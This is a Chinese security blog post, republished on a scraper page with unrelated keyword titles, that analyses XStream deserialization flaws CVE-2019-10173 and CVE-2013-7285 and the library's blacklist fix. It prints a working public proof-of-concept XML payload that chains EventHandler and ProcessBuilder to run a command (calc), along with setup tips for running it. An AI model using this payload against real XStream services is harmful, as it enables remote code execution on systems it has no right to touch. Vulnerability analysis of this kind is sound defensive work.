当前位置: 首页> 科技> 名企 > 中国建设银行国际互联网站_无锡新闻最新消息今天_自主建站_平台推广方案

中国建设银行国际互联网站_无锡新闻最新消息今天_自主建站_平台推广方案

时间:2025/7/19 10:04:26来源:https://blog.csdn.net/GalaxySpaceX/article/details/145163468 浏览次数:1次
中国建设银行国际互联网站_无锡新闻最新消息今天_自主建站_平台推广方案

漏洞描述:

CVE-2019-10173:

发现 XStream API 版本 1.4.10 及之前版本在 1.4.11 之前引入了一个先前反序列化漏洞的回归问题。如果安全框架尚未初始化,远程攻击者在反序列化 XML 或任何受支持的格式(例如 JSON)时,可能会执行任意 shell 命令。(CVE-2013-7285 的回归)

CVE-2013-7285:

在 Xstream API 版本 1.4.6 及以下版本和 1.4.10 版本中,如果安全框架尚未初始化,远程攻击者可能会通过在反序列化 XML 或任何受支持的格式(例如 JSON)时操纵处理后的输入流来运行任意 shell 命令。 

可以看到两个都是安全框架尚未初始化尚未初始化的问题,理论上也就是一个问题,只是1.4.10发布的时候开发修改了安全方法但是忘记开启了,研究这个首先要大概了解下XStream具体做什么

XStream是一个用于将 Java 对象与 XML 相互转换的库

编写个测试代码

public class Main {public static void main(String[] args) {XStream xstream = new XStream();// 序列化Person person = new Person("John", 30);String xml = xstream.toXML(person);System.out.println(xml);// 反序列化Person newPerson = (Person) xstream.fromXML(xml);System.out.println(newPerson);}
}class Person {private String name;private int age;public Person(String name, int age) {this.name = name;this.age = age;}@Overridepublic String toString() {return "Person{name='" + name + "', age=" + age + "}";}
}

看下输出结果

可以看到利用XStream我们可以将输出的参数转换为xml数据,然后使用fromXML可以将xml数据转化为对应的类,上面的红字其实已经发出警告没有经过安全初始化

Security framework of XStream not initialized, XStream is probably vulnerable.

利用:

利用代码网上很多,这里随便找了个公开的poc进行测试

    public static void shell(){try {// 创建 XStream 实例XStream xStream = new XStream();String payload = "<sorted-set>\n" +"    <string>foo</string>\n" +"    <dynamic-proxy>\n" +"    <interface>java.lang.Comparable</interface>\n" +"        <handler class=\"java.beans.EventHandler\">\n" +"            <target class=\"java.lang.ProcessBuilder\">\n" +"                <command>\n" +"                    <string>cmd.exe</string>\n" +"                    <string>/c</string>\n" +"                    <string>calc</string>\n" +"                </command>\n" +"            </target>\n" +"     <action>start</action>"+"        </handler>\n" +"    </dynamic-proxy>\n" +"</sorted-set>\n";// 解析 payloadxStream.fromXML(payload);} catch (Exception e) {e.printStackTrace();}}

这里需要注意jdk的版本,在 Java 9 及更高版本中,模块系统增强了对访问权限的控制。如果你在使用反射访问私有字段时遇到如下错误

遇到这个问题可以在运行 Java 应用程序时添加 JVM 参数,以开放特定的模块和包。如使用以下参数:

--add-opens java.base/java.util=ALL-UNNAMED

或者降低到1.8版本测试,测试发现可以正常执行命令

分析:

下面我们分析下poc,分析前要理解下对应的xml标签的含义

<array>:
表示一个数组。
<null>:
表示一个 null 值。
<item>:
通常用于列表或集合中的单个元素。
<string>:
用于表示字符串值,通常用于存储简单数据类型。<class>:
指定 Java 类的全名,用于反序列化时识别对象的类型。
<field>:
表示一个类的字段。可以用于自定义字段的名称或映射。
<sorted-set>:
这是根元素,表示一个有序集合(SortedSet)。在这里,它包含了多个元素。
<dynamic-proxy>:
这个元素表示要创建一个动态代理对象。
<interface>:
这个元素指定了代理对象要实现的接口,在这个例子中是 java.lang.Comparable。这个接口允许对象进行比较,通常用于排序。
<handler>:
定义动态代理对象的处理器。处理器可以是一个实现了 InvocationHandler 接口的类。
<target>:
定义处理器的目标对象。目标对象可以是任何 Java 对象,处理器会将方法调用转发到这个目标对象。
<command>:
这个子元素包含要执行的命令。
<action>:
指定代理对象的方法调用动作。
<converter>:
指定自定义转换器,用于处理特定类型的序列化和反序列化。
<alias>:
用于创建类名的别名,方便在 XML 中使用更简短或更友好的名称。

知道了上面的我们来看下最重要的三个参数

<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">

我们知道java.lang.ProcessBuilder主要用于命令的执行,但是为何要使用java.lang.Comparable和java.beans.EventHandler

首先使用java.lang.Comparable是因为在565行处需要将interface中的类转换为Comparable

如果使用其他类,如果该类没有继承自Comparable,到上述位置就会出现转换类型失败

为何要用 java.beans.EventHandler作为事件处理函数,首先我们看到我们使用后续使用了target class=

<target class=\"java.lang.ProcessBuilder\">

这里需要将java.lang.ProcessBuilder设置到target中

查看对应的target可以看到

这里需要使用EventHandler设置动态代理,具体的代理函数为ProcessBuilder

<command><string>cmd.exe</string><string>/c</string><string>calc</string> 
</command>
<action>start</action>

通过设置对应的command的三个参数为cmd.exe /c calc 然后使用action标签指定调用代理对象的start方法

最后就完成了执行

初始化开关:

首先会进行黑名单校验方法的装载

其中InternalBlackList 类实现了 Converter 接口,并重写了 canConvert、marshal 和 unmarshal 方法

当canConvert(type) 返回 true,则表示该转换器支持目标类型,则会调用InternalBlackList中的unmarshal方法,即抛出异常,终止执行,否则则表示不支持目标类型,则会调用默认的unmarshal方法进而执行

以上是InternalBlackList的执行逻辑;下面看下两个版本中触发黑名单的逻辑:

1.4.10版本中虽然开始insecureWarning设置为了true

但是unmarshal方法中又修改为了false:

进入该方法中可以看到insecureWarning为false:

 分析下该方法:

类型检查: 

  1. Void.TYPE 和 Void.class 检查:如果 type 是 Void.TYPE 或 Void.class,则返回 true。
  2. 如果 XStream.this.insecureWarning 为 true,并且 type 不为 null,并且满足以下条件之一,则返回 true:
    1. type 的名称是 java.beans.EventHandler。
    2. type 的名称以 $LazyIterator 结尾。
    3. type 的名称以 javax.crypto. 开头。

下面看下11.1版本的,首先设置securityInitialized为false:

后续没有对securityInitialized进行修改,仅设置this.securityWarningGiven为true;

 进入canConvert中由于securityInitialized为false,当存在EventHandler返回true

  分析下该方法:

类型检查:

  1. 如果 type 不是 Void.class,并且满足以下条件之一,则返回 false:
    1. this.this$0.securityInitialized 为 true。
    2. type 为 null。
    3. type 的名称不是 java.beans.EventHandler,且不以 $LazyIterator 结尾,且不以 javax.crypto. 开头。

总结下两个方法:

10版本仅依赖 insecureWarning 来决定是否允许某些类的转换,并且由于设置为了false,则不会去校验是否存在java.beans.EventHandler,则默认返回false,则绕过了安全检测,进而导致了该漏洞

11.1版本securityInitialized默认为false,当存在java.beans.EventHandler的时候会返回true,则会进入对于的InternalBlackList的unmarshal方法,进而防止了该漏洞

总结:

总结下其防御方法是通过InternalBlackList 实现 Converter 接口,重写 canConvert、marshal 和 unmarshal 方法,当存在如下三种情况的时候会触发报异常

java.beans.EventHandler  存在则触发
"$LazyIterator"  结尾触发
javax.crypto.    起始匹配

 另外存在一个securityInitialized来判断是否需要安全初始化,漏洞的原因估计是开发人员为了调试方便关闭了安全检测,发布的时候忘记开启进而触发,但是检测时黑名单校验,如果能找到方法绕过上面三个规则同样也可以执行,后续有时间了可以研究下绕过

关键字:中国建设银行国际互联网站_无锡新闻最新消息今天_自主建站_平台推广方案

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

责任编辑: